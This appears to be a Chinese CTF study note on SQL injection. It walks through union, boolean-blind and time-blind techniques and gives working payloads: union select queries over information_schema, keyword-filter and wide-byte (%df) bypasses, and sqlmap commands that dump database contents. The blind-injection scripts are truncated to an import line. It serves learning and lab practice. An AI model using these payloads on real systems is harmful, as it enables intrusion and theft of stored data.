sql 注入的题目,出现在登录、注册、查询信息类的题目,涉及前端、后端、数据库(mysql)等知识点。
sql注入类别分为:联合注入、报错注入、布尔盲注、时间盲注。
联合盲注
联合盲注即通过找注入点,然后通过 union 联合查询语句找到数据库中想要的值,联合查询即保证和前面的select语句有相同字段数,判断select 语句的字段数,order by 判断字段数,查找有多少个库,有多少个表,有什么字段。
1.判断是否有注入点
- 通过单引号
'判断是否有注入点 - 注入点多试以下符号:
'")')
2.注入点是字符型还是数字型?
id=1 and 1=1和id=1 and 1=2页面无变化,说明注入点不是整形;如果注入点为整形,则直接加入sql注入语句即可id =1 ' and 1=1 %23, id =1 ' and 1=2 %23,说明注入类型为字符
3.判断输出内容有多少列
判断字段数 id='order by 5 -- -', 如果字段为 5 则输出正常,输入order by 6%23 发现页面错误,说明没有 6 列,输入 5 正确,说明有5 列。
4.判断显示位
查看页面显示的字段是第几位,id='union select 1,2,3,4,5 %23,查看显示数字是第几位
5.获取所有数据库名
1 | id='union select 1,2,select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA,4,5%23 |
得到两个数据库 information_schema, sq01
6.获取表名
1 | id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='SQL01'),3%23 |
得到表名 users
7.获取列名
1 | ?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3,4,5%23 |
8.然后根据表名和列名查询想要的数据
9.sql关键字被过滤的解决方法
- 通过将关键字重复写两遍,如
select换为seselectlect #被注释 换成-- -''被过滤,换成%df\:表示中文字符,%df表示‘运,或者尝试%df然后再加'
布尔盲注
当注入点没有提示信息返回,只有and 1=1 或者 1=2不相同提示时,可通过布尔盲注。
通过撞字符获取数据库中的 flag。
1 | import requests |
时间盲注
时间盲注,当注入点没有其他提示信息返回时,通过布尔盲注也没有信息提示时,但是 and sleep(5) 页面有等待,说明存在时间盲注。
1 | import requests |
通过 sqlmap 工具查询关键信息
- 查询数据库,
pyhton2 sqlmap.py -u url --dbs - 查询表
python2 sqlmap.py -u url -D 数据库名 --tables - 查询字段
python2 sqlmap.py -u url -D 数据库名 -T 数据表名 --columns - 查询值
python2 sqlmap.py -u url -D 数据库名 -T 数据表名 --dump - 绕过字符过滤
python2 sqlmap.py -u url --dbs -t 10 --tamper unmagicquotes.py sqlmap